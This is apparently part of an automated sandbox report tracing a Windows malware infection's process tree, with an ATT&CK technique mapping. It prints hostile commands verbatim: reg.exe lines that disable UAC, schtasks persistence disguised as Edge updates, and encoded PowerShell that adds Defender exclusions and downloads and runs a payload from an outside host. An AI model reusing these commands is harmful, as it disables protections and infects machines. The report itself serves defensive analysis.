        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "WinComService.exe" /P "Admin:N"&&CACLS "WinComService.exe" /P "Admin:R" /E&&echo Y|CACLS "..\a4e2bd6d47" /P "Admin:N"&&CACLS "..\a4e2bd6d47" /P "Admin:R" /E&&Exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2612
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:308
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "WinComService.exe" /P "Admin:N"
        6⤵
        
        PID:4800
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "WinComService.exe" /P "Admin:R" /E
        6⤵
        
        PID:1456
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:3768
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\a4e2bd6d47" /P "Admin:N"
        6⤵
        
        PID:4052
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\a4e2bd6d47" /P "Admin:R" /E
        6⤵
        
        PID:3796
    - - C:\Users\Admin\AppData\Roaming\1000034050\system32.exe
        
        "C:\Users\Admin\AppData\Roaming\1000034050\system32.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Adds Run key to start application
        Enumerates connected drives
        Checks processor information in registry
        Suspicious use of WriteProcessMemory
        
        PID:2492
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c md C:\windowss64
        6⤵
        
        PID:1120
      - C:\windowss64\computer.exe
        
        "C:\windowss64\computer.exe"
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Adds Run key to start application
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:1816
        
        C:\Users\Admin\AppData\Local\Temp\._cache_computer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\._cache_computer.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Enumerates connected drives
        Checks processor information in registry
        
        PID:4716
        
        C:\ProgramData\Synaptics\Synaptics.exe
        
        "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
        7⤵
        Executes dropped EXE
        
        PID:4664
    - - C:\Users\Admin\AppData\Roaming\1000038050\bd.exe
        
        "C:\Users\Admin\AppData\Roaming\1000038050\bd.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Writes to the Master Boot Record (MBR)
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:4656
    - - C:\Users\Admin\AppData\Roaming\1000039050\agent.exe
        
        "C:\Users\Admin\AppData\Roaming\1000039050\agent.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Adds Run key to start application
        Modifies registry class
        
        PID:1060
      - C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        6⤵
        
        PID:2872
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        7⤵
        UAC bypass
        Modifies registry key
        
        PID:3940
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vqdagtyppdtsvoogynzimj.vbs"
        6⤵
        Checks computer location settings
        
        PID:32
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\sdfghjk\lkjhg.exe"
        7⤵
        
        PID:4852
        
        C:\ProgramData\sdfghjk\lkjhg.exe
        
        C:\ProgramData\sdfghjk\lkjhg.exe
        8⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        
        PID:1128
        
        C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        9⤵
        
        PID:2112
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        10⤵
        UAC bypass
        Modifies registry key
        
        PID:4992
        
        \??\c:\program files (x86)\internet explorer\iexplore.exe
        
        "c:\program files (x86)\internet explorer\iexplore.exe"
        9⤵
        Adds Run key to start application
        Suspicious use of SetThreadContext
        Drops file in Windows directory
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        
        PID:4468
        
        C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        10⤵
        
        PID:2272
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        11⤵
        UAC bypass
        Modifies registry key
        
        PID:4976
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        10⤵
        
        PID:3904
- - C:\Users\Admin\AppData\Local\Temp\1000003001\Livability.exe
    "C:\Users\Admin\AppData\Local\Temp\1000003001\Livability.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1844
- - C:\Users\Admin\AppData\Local\Temp\1000004051\trud.exe
    "C:\Users\Admin\AppData\Local\Temp\1000004051\trud.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4616
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 1236
      4⤵
      Program crash
      PID:2612
- - C:\Users\Admin\AppData\Local\Temp\1000005051\linda5.exe
    "C:\Users\Admin\AppData\Local\Temp\1000005051\linda5.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3028
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\System32\regsvr32.exe" .\JZX7sKF.CVP -S
      4⤵
      Loads dropped DLL
      PID:2004
- - C:\Users\Admin\AppData\Local\Temp\1000006001\7s96f.exe
    "C:\Users\Admin\AppData\Local\Temp\1000006001\7s96f.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:4696
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4304
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 500
      4⤵
      Program crash
      PID:852
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Accesses Microsoft Outlook profiles
    - outlook_win_path
    PID:4600

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4696 -ip 4696
1⤵
PID:4808

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x3c8 0x478
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4616 -ip 4616
1⤵
PID:2856

C:\Users\Admin\AppData\Local\Temp\DB61.exe
C:\Users\Admin\AppData\Local\Temp\DB61.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: GetForegroundWindowSpam
PID:4908
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4312
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 292
  2⤵
  - Program crash
  PID:492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4908 -ip 4908
1⤵
PID:4528

C:\Users\Admin\AppData\Local\Temp\E5C2.exe
C:\Users\Admin\AppData\Local\Temp\E5C2.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3976
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:648
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3976 -s 148
  2⤵
  - Program crash
  PID:4064

C:\Users\Admin\AppData\Local\Temp\E769.exe
C:\Users\Admin\AppData\Local\Temp\E769.exe
1⤵
- Executes dropped EXE
PID:2140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3976 -ip 3976
1⤵
PID:3532

C:\Users\Admin\AppData\Local\Temp\d003af69b2\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\d003af69b2\nbveek.exe
1⤵
- Executes dropped EXE
PID:564

C:\Users\Admin\AppData\Local\Temp\a4e2bd6d47\WinComService.exe
C:\Users\Admin\AppData\Local\Temp\a4e2bd6d47\WinComService.exe
1⤵
- Executes dropped EXE
PID:4752

C:\Users\Admin\AppData\Local\Temp\F2E3.exe
C:\Users\Admin\AppData\Local\Temp\F2E3.exe
1⤵
- Executes dropped EXE
PID:1504

C:\Users\Admin\AppData\Local\Temp\F43C.exe
C:\Users\Admin\AppData\Local\Temp\F43C.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
PID:3328
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c md C:\windowss64
  2⤵
  PID:4996
- C:\windowss64\computer.exe
  "C:\windowss64\computer.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Loads dropped DLL
  - Modifies registry class
  PID:4660
- - C:\Users\Admin\AppData\Local\Temp\._cache_computer.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_computer.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:444

C:\Users\Admin\AppData\Local\Temp\F69F.exe
C:\Users\Admin\AppData\Local\Temp\F69F.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks SCSI registry key(s)
PID:4908

C:\Users\Admin\AppData\Local\Temp\F884.exe
C:\Users\Admin\AppData\Local\Temp\F884.exe
1⤵
- Executes dropped EXE
PID:2140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVwBpAG4AMwAyAC4AUgBlAGcAaQBzAHQAcgB5AF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgAuAE8AcABlAG4AUwB1AGIASwBlAHkAKAAiAFMAbwBmAHQAdwBhAHIAZQBcAEwAbwBnAGkAYwAgAE0AZQBkAGkAYQAgAEUAeABwAGwAbwByAGUAcgAiACkALgBHAGUAdABWAGEAbAB1AGUAKAAkAE4AdQBsAGwAKQApADsAWwBDAC4AQwBsAGEAcwBzADEAXQA6ADoAUgB1AG4AKAApADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAiAGUAeABlACIAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAG8AYgBpAGwAZQBUAHIAYQBuAHMALgBlAHgAZQAiACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAIgBNAG8AYgBpAGwAZQBUAHIAYQBuAHMALgBlAHgAZQAiADsAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgADEAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACIAYgBhAHQAIgAgACIAYwBtAGQAIgAgACIAZABsAGwAIgA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAgACIAJABlAG4AdgA6AFQARQBNAFAAIgAgADsA
1⤵
PID:5028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVwBpAG4AMwAyAC4AUgBlAGcAaQBzAHQAcgB5AF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgAuAE8AcABlAG4AUwB1AGIASwBlAHkAKAAiAFMAbwBmAHQAdwBhAHIAZQBcAEwAbwBnAGkAYwAgAE0AZQBkAGkAYQAgAEUAeABwAGwAbwByAGUAcgAiACkALgBHAGUAdABWAGEAbAB1AGUAKAAkAE4AdQBsAGwAKQApADsAWwBDAC4AQwBsAGEAcwBzADEAXQA6ADoAUgB1AG4AKAApADsAJABYADYANABpADkAOAA1ADQANQAgAD0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwATQBvAGIAaQBsAGUAVAByAGEAbgBzAC4AZQByAHIAIgA7ACQAWAA2ADQAaQA5ADgANQA0ADYAIAA9ACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AbwBiAGkAbABlAFQAcgBhAG4AcwAuAGUAeABlACIAOwBpAGYAIAAoAC0AbgBvAHQAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAWAA2ADQAaQA5ADgANQA0ADYAIAAtAFAAYQB0AGgAVAB5ACAATABlAGEAZgApACkAewAgAHQAcgB5ACAAewAkAFgANgA0AGkAOQA4ADUANAA3ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAGEASABSADAAYwBIAE0ANgBMAHkAOQBqAFoARwA0AHUAWgBHAGwAegBZADIAOQB5AFoARwBGAHcAYwBDADUAagBiADIAMAB2AFkAWABSADAAWQBXAE4AbwBiAFcAVgB1AGQASABNAHYATQBUAEEAMABPAFQAVQAyAE8AVABJADAATQBqAFEAMQBOAFQAawA1AE8ARABVADAATgBDADgAeABNAEQAUQA1AE8ARABZAHkATQBUAFUAMwBPAEQAVQA0AE0AagBRAHkATgBUAFkAdwBMADMATgAwAGMAbQBsAHUAWgB6AFEAMgBNAHoATQB1AFoAWABKAHkAJwApACkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABYADYANABpADkAOAA1ADQANwAgAC0ATwB1AHQAZgBpAGwAZQAgACQAWAA2ADQAaQA5ADgANQA0ADUAOwBbAEMALgBDAGwAYQBzAHMAMQBdADoAOgBNAGEAaQBuACgAJABYADYANABpADkAOAA1ADQANgAsACQAWAA2ADQAaQA5ADgANQA0ADUALAAnAEMAbwBuAHYAZQByAHQALgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABYAGkAWgBSAGgAaAB2AGEAUwBJAEUARABqADMAVgA0AGcATwBJAEQAdwBiAEcAOABRAGwAYwBkAEQAQgB2AEgAUwBaAHMAYQBmAHAASQAxADAAbgBqAHkARABIADkAdQBKAEIAbwB2ADgANwBhAFoAYgBjAEEANgBFAFMAWABSAFgAOAB1AEoASgA2AFkAMgBHAFMARQBJADIAUwA0AEkAbQBzAFQAQgBYADAASwBXADAAUwAwAEQAbwBOAHcAcQBRAFMAYQBHAFgAegBrAE8AbgB4AHAAbwAyAFMAaQBJAGoAMwBTAFYAOQBWADQAWQB4AFkASwAxADYAVgBNADMAZgBYADMAaQAzAHcAdgB4AEgARgBZAGoAVQBmAGUAcgB1ADEAZAB3ADUAYQBzADUAWQBDAFQAOQBvAHUAUwBTAGsAdwBKAGUAWgAwAFEAeABHAGUATgA0ADgAVQBEAFIANQBkAEcARgAyAFoAOABGAHAAOABKAHoAYwB3AEoAWAB4AEcAMABoAFcAQQBSAHUAagApACcALAAnADMAMwAnACkAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAFgANgA0AGkAOQA4ADUANAA1AH0AYwBhAHQAYwBoAHsAfQB9AGUAbABzAGUAewB9ADsAcwBjAGgAdABhAHMAawBzACAALwBjAHIAZQBhAHQAZQAgAC8AcgBsACAASABJAEcASABFAFMAVAAgAC8AcwBjACAATQBJAE4AVQBUAEUAIAAvAG0AbwAgADMAIAAvAEYAIAAvAHQAbgAgACIATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAQwBvAHIAZQAiACAALwB0AHIAIAAkAFgANgA0AGkAOQA4ADUANAA2ADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABYADYANABpADkAOAA1ADQANgAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AA==
1⤵
- Blocklisted process makes network request
PID:4232
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /rl HIGHEST /sc MINUTE /mo 3 /F /tn MicrosoftEdgeUpdateTaskMachineCore /tr C:\Users\Admin\AppData\Roaming\MobileTrans.exe
  2⤵
  - Creates scheduled task(s)
  PID:4752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVwBpAG4AMwAyAC4AUgBlAGcAaQBzAHQAcgB5AF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgAuAE8AcABlAG4AUwB1AGIASwBlAHkAKAAiAFMAbwBmAHQAdwBhAHIAZQBcAEwAbwBnAGkAYwAgAE0AZQBkAGkAYQAgAEUAeABwAGwAbwByAGUAcgAiACkALgBHAGUAdABWAGEAbAB1AGUAKAAkAE4AdQBsAGwAKQApADsAWwBDAC4AQwBsAGEAcwBzADEAXQA6ADoAUgB1AG4AKAApADsAJABYAGIATQBsADgAMQAyADMAMgA1ACAAPQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAG8AYgBpAGwAZQBUAHIAYQBuAHMAMgAuAGUAcgByACIAOwAkAFgAYgBNAGwAOAAxADIAMwAyADYAIAA9ACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AbwBiAGkAbABlAFQAcgBhAG4AcwAyAC4AZQB4AGUAIgA7ACAAaQBmACAAKAAtAG4AbwB0ACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAFgAYgBNAGwAOAAxADIAMwAyADYAIAAtAFAAYQB0AGgAVAB5ACAATABlAGEAZgApACkAewAgAHQAcgB5ACAAewAkAFgAYgBNAGwAOAAxADIAMwAyADcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAWgBHADQAdQBaAEcAbAB6AFkAMgA5AHkAWgBHAEYAdwBjAEMANQBqAGIAMgAwAHYAWQBYAFIAMABZAFcATgBvAGIAVwBWAHUAZABIAE0AdgBNAFQAQQAwAE8AVABVADIATwBUAEkAMABNAGoAUQAxAE4AVABrADUATwBEAFUAMABOAEMAOAB4AE0ARABRADUATwBEAFkAeQBNAFQAVQAzAE4AVABrADAATQBEAEkAeABPAFQAUQA0AEwAMwBOADAAYwBtAGwAdQBaAHoAYwA1AE0AaQA1AGwAYwBuAEkAPQAnACkAKQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAFgAYgBNAGwAOAAxADIAMwAyADcAIAAtAE8AdQB0AGYAaQBsAGUAIAAkAFgAYgBNAGwAOAAxADIAMwAyADUAOwBbAEMALgBDAGwAYQBzAHMAMQBdADoAOgBNAGEAaQBuACgAJABYAGIATQBsADgAMQAyADMAMgA2ACwAJABYAGIATQBsADgAMQAyADMAMgA1ACwAJwBDAG8AbgB2AGUAcgB0AC4AVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWABpAFoAUgBoAGgAdgBhAFMASQBFAEQAagAzAFYANABnAE8ASQBEAHcAYgBHADgAUQBsAGMAZABEAEIAdgBIAFMAWgBzAGEAZgBwAEkAMQAwAG4AagB5AEQASAA5AHUASgBCAG8AdgA4ADcAYQBaAGIAYwBBADYARQBTAFgAUgBYADgAdQBKAEoANgBZADIARwBTAEUASQAyAFMANABJAG0AcwBUAEIAWAAwAEsAVwAwAFMAMABEAG8ATgB3AHEAUQBTAGEARwBYAHoAawBPAG4AeABwAG8AMgBTAGkASQBqADMAUwBWADkAVgA0AFkAeABZAEsAMQA2AFYATQAzAGYAWAAzAGkAMwB3AHYAeABIAEYAWQBqAFUAZgBlAHIAdQAxAGQAdwA1AGEAcwA1AFkAQwBUADkAbwB1AFMAUwBrAHcASgBlAFoAMABRAHgARwBlAE4ANAA4AFUARABSADUAZABHAEYAMgBaADgARgBwADgASgB6AGMAdwBKAFgAeABHADAAaABXAEEAUgB1AGoAKQAnACwAJwAzADMAJwApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABYAGIATQBsADgAMQAyADMAMgA1AH0AYwBhAHQAYwBoAHsAfQB9AGUAbABzAGUAewB9ADsAcwBjAGgAdABhAHMAawBzACAALwBjAHIAZQBhAHQAZQAgAC8AcgBsACAASABJAEcASABFAFMAVAAgAC8AcwBjACAATQBJAE4AVQBUAEUAIAAvAG0AbwAgADUAIAAvAEYAIAAvAHQAbgAgACIATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAQwBvAHIAZQAyACIAIAAvAHQAcgAgACQAWABiAE0AbAA4ADEAMgAzADIANgA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAWABiAE0AbAA4ADEAMgAzADIANgAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AA==
1⤵
- Blocklisted process makes network request
PID:444
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /rl HIGHEST /sc MINUTE /mo 5 /F /tn MicrosoftEdgeUpdateTaskMachineCore2 /tr C:\Users\Admin\AppData\Roaming\MobileTrans2.exe
  2⤵
  - Creates scheduled task(s)
  PID:1656

C:\Users\Admin\AppData\Local\Temp\d003af69b2\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\d003af69b2\nbveek.exe
1⤵
- Executes dropped EXE
PID:4592

C:\Users\Admin\AppData\Local\Temp\a4e2bd6d47\WinComService.exe
C:\Users\Admin\AppData\Local\Temp\a4e2bd6d47\WinComService.exe
1⤵
- Executes dropped EXE
PID:816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

T1064

Persistence

Bootkit

T1067

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

Scripting

T1064

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery